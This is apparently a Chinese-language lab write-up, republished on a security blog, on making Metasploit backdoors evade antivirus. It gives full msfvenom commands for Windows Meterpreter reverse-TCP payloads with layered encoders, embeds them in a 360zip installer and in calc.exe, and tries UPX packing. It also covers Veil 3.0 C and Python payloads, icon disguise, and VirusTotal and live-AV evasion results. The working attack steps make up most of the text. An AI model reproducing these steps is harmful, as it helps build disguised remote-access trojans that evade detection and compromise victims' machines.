0x1 MSF編碼器的使用
殺毒軟體廠商的錢不是白賺的,單靠MSF的編碼器要想取得成功非常困難。所以我一開始就準備用msfvenom來個大招!首先,我們不能使用msfvenom的默認模版裝載payload,這麼多安全廠商盯著metasploit,我們最好選擇自己的模版。我決定用360壓縮的安裝包作為模版,並嘗試保留它的原始功能。其次,必須選擇合適的編碼器。shikata_ga_nai是msf中唯一的評價是excellent的編碼器,這種多態編碼技術使得沒次生成的攻擊載荷文件是不一樣的。這裡我們要使用多重編碼,通過管道,讓msfvenom用不同編碼器反覆編碼進行混淆。因此,我列出這次實驗中msfvenom要用到的參數,供同學們參考:-a <arch> 設置目標的指令集架構,這裡我們選擇x86即可--platform <platform> 設置目標平臺,這裡是windows,可以通過--help-platforms選項查看msfvenom支持的所有平臺-p <payload> 設置攻擊載荷,我們使用windows/meterpreter/reverse_tcp,可以通過-l payloads查看所有攻擊載荷-e <encoder> 指定編碼器,我會組合使用不同的編碼器,可以通過-l encoders查看所有編碼器-i <count> 指定編碼迭代的次數-x <path> 指定模版-k 該選項可以保留模版原來的功能,將payload作為一個新的線程來注入,但不能保證可以用在所有可執行程序上。-f <format> 指定生成格式,可以是raw,exe,elf,jar,c語言的,python的,java的……,用--help-formats查看所有支持的格式1)實踐輸入
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.0.2.6 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x 360zip_setup_4.0.0.1030.exe -f exe > 360zip_setup.20155110.exe這裡使用管道讓msfvenom對攻擊載荷多重編碼,先用shikata_ga_nai編碼20次,接著來10次的alpha_upper編碼,再來10次的countdown編碼,最後才生成以360zip_setup_4.0.0.1030.exe為模板的可執行文件。原始模板的大小只有7.5M,但編碼以後卻增加到了16M!!
把它交給win7靶機測試環境,原始安裝包的功能消失了!,-k參數好像沒發揮作用。2)測試本地測試我先用本地的一些安全軟體對後門進行檢測,這些軟體的版本信息我寫在前面了。這裡用到技術還是比較單一的,我對測試結果沒報太大希望。火絨安全我剛打開火絨安全軟體,火絨就立馬報毒了,甚至連netcat它都沒放過!!360安全衛士360安全衛士的檢測結果如下,我們也沒能騙過了360安全衛士,360還是很強的。在線監測本地檢測局限性比較大,我們通過兩個在線惡意代碼檢測平臺測試一下這個後面程序。VirusTotal太慘了!66個引擎有35個發現後門。畢竟使用的技術過於單一,這也是沒辦法的事情。0x2 嘗試加殼軟體
upx打包器的原理非常簡單,就是將可執行文件中的代碼和數據進行壓縮,然後將解壓縮用的代碼附加在前面,運行的時候先將原本的可執行數據解壓出來,然後再運行解壓縮後的數據。打包器的本質目的是反調試,防止逆向工程。我們這裡使用打包器的目的是為了改變後門程序的特徵碼。我本來想在上一步的基礎上對後門軟體進行upx加殼,但是,360壓縮的安裝包本身無法用upx加殼,以它為模板的後門程序也沒法用upx加殼。到這裡,我的思路被打斷了。我覺得這是模板的問題,我應該重新選擇一個模板(而且從之前的實驗看,360壓縮安裝包並不是一個好的模板)新的模板——計算器calc.exe沒辦法,只能選擇新的模板了,我選擇了32位的計算器程序calc.exe作為模板。輸入:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=5110 -x calc.exe -k -f exe > calc.5.1.10.exe運行這個後門程序,-k參數對該模板是有效的!計算器的功能正常保留了下來,這次的後門有點像樣了!但是從圖上可以看出來,後門程序的大小比原始程序要大的多。無法加殼直接輸入upx calc.5.1.10.exe,嘗試對後門程序進行加殼,但失敗了。但對原始模板calc.exe進行加殼卻沒有問題,輸入upx calc.exe -o calc_upx.exe但模板卻沒法運行了……
使用msfvenom的默認模版,使用shikata_ga_nai編碼器編碼20次,然後用upx加殼,看看能不能成功。輸入msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=5110 -e x86/shikata_ga_nai -i 20 -f exe > backdoor.5.1.10.exe加殼upx backdoor.5.1.10.exe失敗的加殼火絨和360都輕輕鬆鬆的發現了upx加殼的後門程序。我覺得應該是默認模板和編碼器的使用過於簡單,即便upx加殼混淆,依然難以達到免殺的效果。0x3 初探Veil 3.0——用Evasion工具生成後門程序原始碼
Veil-Evasion通過各種不同的語言對shellcode進行改寫,達到免殺的目的。作者在github上聲明原來的Veil-Evasion已經不再維護了,讓用戶使用Veil 3.0。其實兩者使用起來沒有太大差別。veil的官網http://www.veil-framework.com有關於veil使用的教程可以參考。我花了不少時間去安裝veil。一開始從apt中安裝veil失敗了,我乾脆到github上去克隆veil,依然沒有配置好環境(不同於metasploit的主頁,Veil的主頁在github上還是比較冷清,貢獻者不多)因為安裝錯誤,我無法在kali上讓python腳本變成可執行文件,不過使用c語言倒是可以編譯,但倒黴的是,我到64位win7虛擬機居然無法運行這個後門(但我到win10主機可以運行這個後門)。我立刻改變思路,自行編譯Veil生成的源碼。先生成C語言版本的源碼看看。考慮到我win7虛擬機的性能,安裝Visual Studio比較困難,我選擇安裝mingw來編譯c/c++,來編譯源碼(雖然mingw編譯正常程序生成的機器碼來說都可能誤報)我們發現後門的原始碼中使用了socket套接字,mingw手工編譯時需要連結ws2_32庫,輸入指令gcc -o veil_test.5.1.10.exe veil_test.5.1.10.c -lws2_32進行編譯。編譯了C語言版本的veil後門程序後,我把它放到virustotal上檢測了一下,效果非常不錯!只有8個引擎發現問題。而且火絨安全和360都沒有發現問題
我們開啟這個後門試試,順便看看它能不能躲過 動態檢測。這裡有個小技巧,直接使用veil在/usr/share/veil-output/handler中的rc資源文件啟動metasploit。在win7中打開殺毒軟體,在kali中輸入msfconsole -r veil_test.5.1.10.rc,手動運行後門,成功連接,360沒有任何動靜!獲取後門的python源碼依然是使用Veil 3.0的Evasion生成後門源碼,這裡我選擇的payload是python/meterpreter/rev_tcp,生成的源碼如下:Veil作者推薦使用Py2Exe生成可執行文件,之後我們得到了rnume.bat和setup.py安裝腳本。使用Py2Exe生成可執行文件忘了說了,我事先在win7虛擬機中安裝了Python3.3, py2Exe, PyCrypto, PyWin32,然後才能將python腳本變為可執行文件。直接雙擊 runme.bat 批處理文件就能生成可執行文件了。免殺效果先放到virustotal上看一下生成的veil_py.5.1.10.exe後門的免殺效果。在殺毒軟體開啟的情況下,看看它能不能躲過動態查殺。打開msfconsole進入監聽狀態,雙擊啟動後門,雖然我們獲得了會話想像一下,如果用戶看到這樣的畫面, 一定會立即關閉這個進程!,我們剛剛獲得的Meterpreter會話立刻就會關閉,而且我們的手速來不及做進程遷移我經過多次嘗試,發現如果沒有msfconsole的監聽,點擊veil_py.5.1.10.exe沒有任何反應。一旦msfconsole監聽反彈會話,點擊這個後門就會出現崩潰提示。0x4 用圖標簡單偽裝後門程序為了讓我們的後門程序能夠具有一些欺騙性,我覺得給後門程序添加一個圖標。在把之前的veil_test.5.1.10和img.o連結起來,生成目標後門程序 veil_img.5.1.10.exegcc -o veil_img.5.1.10.exe veil_test.5.1.10.c img.o -lws2_32總結殺毒軟體的更新是非常快的,這裡給出的方法和過程在今天還是可行的。但過了幾個月之後,免殺技術就有可能出現重大的變化和更新。免殺技術需要不斷地磨練與實踐,才能在實戰中提高成功率。每日堅持分享好工具好資源,麻煩各位師傅文章底部給點個「再看」,感激不盡
歡迎關注 系統安全運維
覺得不錯點個「贊」、「在看」哦